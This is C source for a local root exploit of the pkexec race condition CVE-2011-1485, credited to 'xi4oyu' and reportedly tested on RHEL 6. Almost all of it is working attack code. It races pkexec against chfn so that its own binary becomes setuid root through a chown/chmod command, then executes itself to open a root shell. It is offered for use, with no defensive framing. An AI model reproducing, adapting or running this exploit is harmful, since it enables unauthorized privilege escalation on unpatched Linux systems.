pkexec - Race Condition Privilege Escalation

/*
* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
* Author: xi4oyu
* Tested on: rhel 6
* CVE : 2011-1485
* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~ 
¡Á U can reach us  @ http://www.wooyun.org :)
*/
#include <stdio.h>
#include <limits.h>
#include <time.h>
#include <unistd.h>
#include <termios.h>
#include <sys/stat.h>
#include <errno.h>
#include <poll.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>



int main(int argc,char *argv[], char ** envp)
{
	
	time_t tim_seed1;
	pid_t pid_seed2;
	int result;
	struct stat stat_buff;
	
	char * chfn_path = "/usr/bin/chfn";
	char cmd_buff[4096];
	
	char * pkexec_argv[] = { 
		"/usr/bin/pkexec",
		"/bin/sh",
		"-c",
		cmd_buff,
		NULL
	};
	int pipe1[2];
	int pipe2[2];
	int pipe3[2];	
	pid_t pid,pid2 ;
	char * chfn_argv[] = { 
		"/usr/bin/chfn",
		NULL
	};

	char buff[8];
	char read_buff[4096];
	char real_path[512];	
	struct termios termios_p;
	
	int count = 0;
	int flag = 0;
	int usleep1 = 0;
	int usleep2 = 0;

	
	bzero(cmd_buff,4096);
	bzero(real_path,512);
	realpath(argv[0],real_path);
	
	tim_seed1 = time(NULL);
	pid_seed2 = getpid();
	srand(tim_seed1+pid_seed2);
	

	
	
	//get terminal attr
	tcgetattr(0,&termios_p);
	snprintf(cmd_buff,4095,"/bin/chown root:root %s; /bin/chmod 4755 %s",real_path,real_path);
//	printf("Cmd line:%s",cmd_buff);
	if(! geteuid()){
	//Succs => r00t!
		char * exec_argv[2]={
			"/bin/sh",
			NULL
		};
		setuid(0);
		setgid(0);
		execve("/bin/sh",exec_argv,0);
		perror("execve shell");
		exit(-1);
	}

	printf("pkexec local root exploit by xi4oyu , thx to dm\n");
	
	if(pipe(pipe1)){
		perror("pipe");
		exit(-2);
	}
	
	for(count = 500; count && !flag; count--){
	
	//	printf("Count %d\n",count);
		pid = fork();
		if( !pid ){
			// Parent
			if( !pipe(pipe2)){
			
				if(!pipe(pipe3)){
					pid2 = fork();
					if(!pid2){
						// Parent 2
						close(1);
						close(2);
						close(pipe1[0]);
						dup2(pipe1[1],2);
						dup2(pipe1[1],1);
						close(pipe1[1]);
						close(pipe2[0]);
						close(pipe3[1]);
						write(pipe2[1],"\xFF",1);
						read(pipe3[0],&buff,1);
										
						execve(pkexec_argv[0],pkexec_argv,envp);
						perror("execve pkexec");
						exit(-3);
					
					}
					close(0);
					close(1);
					close(2);
					close(pipe2[1]);
					close(pipe3[0]);
					read(pipe2[0],&buff,1);
					write(pipe3[1],"\xFF",1);
					usleep(usleep1+usleep2);

					execve(chfn_argv[0],chfn_argv,envp);
					perror("execve setuid");
					exit(1);
				}
				

			}
			perror("pipe3");
			exit(1);				
		}
		
		//Note: This is child, no pipe3 we use poll to monitor pipe1[0]
		memset(pipe3,0,8);
		
		struct pollfd * pollfd = (struct pollfd *)(&pipe3);
		pollfd->fd = pipe1[0];
		pollfd->events =  POLLRDNORM; 
		
		if(poll(pollfd,1,1000) < 0){
		
			perror("poll");
			exit(1);
		}
		
		if(pollfd->revents & POLLRDNORM ){
			memset(read_buff,0,4096);
			read(pipe1[0],read_buff,4095);
			if( strstr(read_buff,"does not match")){
				usleep1 += 500;
				usleep2 = rand() % 1000;
			
			}else{
				usleep1 -= 500;
				
			
			}
		
		
		}
		
		if(!stat(real_path,&stat_buff)){
			if(!stat_buff.st_uid){
				if(!stat_buff.st_gid){
					if(stat_buff.st_mode & 0x800){
						
						char *exec_array[]={
							real_path,
							NULL
						};
						
						flag = 1;
						tcsetattr(0,2,&termios_p);
						execve(real_path,exec_array,0);
						perror("execve self");
						exit(1);
					}
				}
			
			}
		}
		
		tcsetattr(0,2,&termios_p);
	
	}
		result = 0;
		return result;

}